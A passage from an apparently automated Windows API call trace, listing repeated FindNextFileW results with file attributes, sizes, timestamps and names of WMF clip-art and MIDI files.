hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0218.954] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0218.955] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0218.955] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0218.955] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0218.955] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0218.955] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0218.956] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0218.956] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0218.956] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0218.956] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0218.956] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0218.956] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0218.957] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0218.957] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0218.957] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0218.957] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc7b993, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0218.957] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0218.957] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0218.958] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0218.958] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0218.958] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0218.958] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0218.958] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0218.960] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0218.960] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0218.960] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0218.961] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0218.961] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0218.961] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0218.961] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0218.961] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0218.961] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0218.961] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0218.962] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0218.962] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0218.962] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0218.962] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0218.962] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0218.962] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0218.963] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0218.963] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0218.963] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0218.963] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, 